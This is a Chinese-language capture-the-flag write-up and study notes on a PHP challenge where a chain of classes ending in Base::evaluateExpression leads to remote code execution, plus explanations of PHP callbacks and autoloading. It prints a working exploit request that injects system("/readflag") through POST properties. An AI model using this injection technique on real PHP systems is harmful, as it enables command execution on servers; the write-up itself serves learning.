wp

思路

先简单代码审计一下,发现它是个渲染HTML表格的东西。可利用的RCE在Base::evaluateExpression中,类之间基本都有继承关系。回调函数在这段代码里也有挺多。

利用链:Action::__construct—>ListView::run—>ListView::renderContent—>TestView::renderTableBody

—>TestView::renderTableRow—>Base::evaluateExpression;需要参数的步骤直接用properties数组传进去就行了。

exp

GET:?action=TestView

POST:
properties[tagName]=123l
&properties[filter]=1234
&properties[rowHtmlOptionsExpression]=system("/readflag")
&properties[data][0]=1233
&properties[template]={TableBody}

需要记录的东西

这破玩意,wp写起来就那么一点点,但真正做的时候四个PHP代码审了将近两个小时。

(1)函数

spl_autoload_register(callable $autoload_function)
//这个函数的作用是,碰到没见过的类,就自动调用括号里的函数。
    
//下面是一个用法示例;他没有用一个被解释为函数名的字符串作为参数,而是直接写了个匿名函数。它的作用是:如果遇到没见过的类xxx(PHP将其默认储存在$class中)就将class目录下的xxx.php文件包含进来。
<?php
spl_autoload_register(function($class){
    require("./class".$class.".php");
});
?>

(2)函数

preg_replace_callback(mixed $pattern,callable $callback,mixed $subject)
    
//在解释这玩意之前,先温习一下熟知的preg_replace:
preg_replace(mixed $pattern,mixed $replacement,mixed $subject)
    //这个函数的作用是,在$subject中匹配$pattern,若匹配成功了,则将其替换为$replacement。它的返回值为经过操作后的$subject

//preg_replace_callback和上述的几乎完全一样,唯一的不同是”将其替换为$replacement"变成了”执行callback回调函数"。
//ob一族的函数,一般不涉及调用链和危险利用,但便于代码审计还是了解一下
ob_start() //打开输出缓冲
ob_end_flush() //清理(输出)缓冲区内容并关闭缓冲区
ob_get_contents() //得到(返回)缓冲区的内容 
ob_get_length() //返回缓冲区内容长度
ob_clean() //清理缓冲区内容(但不关闭缓冲区)

结合上述知识,看题目代码:

public function renderContent()
{
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
}
//它的作用是,打开缓冲区,向里面填充经过回调函数处理的正则匹配的内容,再关闭缓冲区并一股脑把这些东西输出来。
//这里的回调是“对象方法回调”。$this就是正常的类里的$this;”renderSection"是要调用的函数名。
//匹配到的东西已经作为数组隐式传参进回调函数了;假设匹配了{TestView},那么隐式传参的数组[0]是{TestView},[1]是TestView。(不太理解)

(3)callback(回调)类型

之前关于callback只学过call_user_func()相关的内容,几乎没有理解;现在才发现这不是个单个/几个函数的问题,这是一整个数据类型。

https://www.php.net/manual/zh/language.types.callable.php

<?php 

// 回调函数示范
function my_callback_function() {
    echo 'hello world!';
}

// 回调方法示范
class MyClass {
    static function myCallbackMethod() {
        echo 'Hello World!';
    }
}

// 类型 1:简单的回调
call_user_func('my_callback_function'); 

// 类型 2:静态类方法回调
call_user_func(array('MyClass', 'myCallbackMethod')); 

// 类型 3:对象方法回调
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));

// 类型 4:静态类方法回调
call_user_func('MyClass::myCallbackMethod');

// 类型 5:父级静态类回调
class A {
    public static function who() {
        echo "A\n";
    }
}

class B extends A {
    public static function who() {
        echo "B\n";
    }
}

call_user_func(array('B', 'parent::who')); // A

// 类型 6:实现 __invoke 的对象用于回调
class C {
    public function __invoke($name) {
        echo 'Hello ', $name, "\n";
    }
}

$c = new C();
call_user_func($c, 'PHP!');
?>

(4)传参方式

//题目源码中出现了foreach,所以properties要传键值对的形式。具体的,直接在hackbar里这样:properties[filter]=1234
   foreach($properties as $name=>$value)
        $object->$name=$value;
//properties值里的内容类型还是数组怎么办呢?搞个二维的就行了,像这样:properties[data][0]=1233
	public $data=array();

本题注意index里的内容能直接把对应参数都传进去;我当时审计的时候还对着没有__construct的TestView类困惑了好一会(菜

版权声明:本文为hiddener原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/hiddener/p/16295760.html